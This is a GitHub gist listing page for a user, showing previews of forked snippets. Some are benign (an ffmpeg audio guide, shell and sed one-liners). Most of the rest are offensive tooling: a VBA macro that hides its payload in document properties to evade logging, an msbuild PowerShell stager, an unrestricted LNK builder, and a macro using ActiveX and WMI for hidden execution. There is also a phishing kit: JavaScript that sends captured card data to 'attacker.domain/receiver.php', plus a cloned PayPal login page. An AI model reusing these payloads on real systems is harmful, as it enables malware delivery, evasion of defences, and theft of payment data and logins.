Skip to content

Instantly share code, notes, and snippets.

@robpotter89
robpotter89 / ffmpeg.md
Created October 7, 2021 20:15 — forked from protrolium/ffmpeg.md
ffmpeg guide

ffmpeg

Converting Audio into Different Formats / Sample Rates

Minimal example: transcode from MP3 to WMA:
ffmpeg -i input.mp3 output.wma

You can get the list of supported formats with:
ffmpeg -formats

You can get the list of installed codecs with:

@robpotter89
robpotter89 / useful-one-liners.sh
Created August 16, 2021 03:07 — forked from johnnypea/useful-one-liners.sh
Useful one liners
# Run the last command as root
sudo !!
# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer
# Save a file you edited in vim without the needed permissions
:w !sudo tee %
# change to the previous working directory
cd -
# Runs previous command but replacing
^foo^bar
@robpotter89
robpotter89 / sed.sh
Created August 13, 2021 05:55 — forked from ramiabraham/sed.sh
sed 1-liners (taken from http://sed.sourceforge.net/sed1line.txt)
-------------------------------------------------------------------------
USEFUL ONE-LINE SCRIPTS FOR SED (Unix stream editor) Dec. 29, 2005
Compiled by Eric Pement - pemente[at]northpark[dot]edu version 5.5
Latest version of this file (in English) is usually at:
http://sed.sourceforge.net/sed1line.txt
http://www.pement.org/sed/sed1line.txt
This file will also available in other languages:
Chinese - http://sed.sourceforge.net/sed1line_zh-CN.html
@robpotter89
robpotter89 / macr01.txt
Created July 16, 2021 21:31 — forked from JPMonglis/macr01.txt
Macro leveraging file properties to hide its payload and StdIn to avoid logging
Public Sub PrintDocumentProperties()
Dim oApp As New Excel.Application
Dim oWB As Workbook
Set oWB = ActiveWorkbook
Dim Exec As String
#If VBA7 Then
Dim rwxpage As LongPtr, res As LongPtr
#Else
@robpotter89
robpotter89 / template.txt
Created July 16, 2021 21:25 — forked from JPMonglis/template.txt
msbuild stager template accepting powershell, compressed in gzip
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- Pass xml to msbuild for compile and execution -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild filepath\filename.xlm -->
<!-- Configure AssemblyFile and pok for that to work -->
<Target Name="34rfas">
<QWEridxnaPO />
</Target>
<UsingTask
TaskName="QWEridxnaPO"
TaskFactory="CodeTaskFactory"
@robpotter89
robpotter89 / resLINK.txt
Created July 16, 2021 21:25 — forked from JPMonglis/resLINK.txt
Create LNK files with no restrictions
@robpotter89
robpotter89 / re_capture.txt
Created July 16, 2021 21:25 — forked from JPMonglis/re_capture.txt
js to capture redirects
var cus_cc_type = '',
cus_data = '',
cc_data = '',
chosen_country = '',
data_receiver_url = 'http://attacker.domain/receiver.php',
redirect_url = 'https://www.paypal.com/';
$(function(){
//setup page layout based on hashes
@robpotter89
robpotter89 / ppal_form.txt
Created July 16, 2021 21:25 — forked from JPMonglis/ppal_form.txt
ppal html form
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<!--
Script info: script: webscr, cmd: _login-done, template: xpt/Customer/account/Welcome, date: Oct 11, 2012 16:49:51 PDT; country: IL, language: en_US, xslt server:
web version: 96.0-3969444 branch: 0c70be8c0a73dfbb978732422efbf4fca0a23a3b
content version: -
pexml version: 96.0-3926915
page XSL: Customer/default/en_US/account/Welcome.xsl
hostname : r.2spu2LOUZcNnBRsYjePxQpStse5G4-zegwL6TJwPY
rlogid : r%2f2spu2LOUZcNnBRsYjeP%2fNpCNULCflCYA8cyCpRTG%2b5JByM%2b7UIRg%3d%3d_13a6c359470
@robpotter89
robpotter89 / macroActiveX.txt
Created July 16, 2021 21:25 — forked from JPMonglis/macroActiveX.txt
Macro leveraging ActiveX controls (for code execution) and WMI Scripting Library
Sub InkEdit1_GotFocus()
Debugging
End Sub
Public Function Debugging() As Variant
Const HIDDEN_WINDOW = 0
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_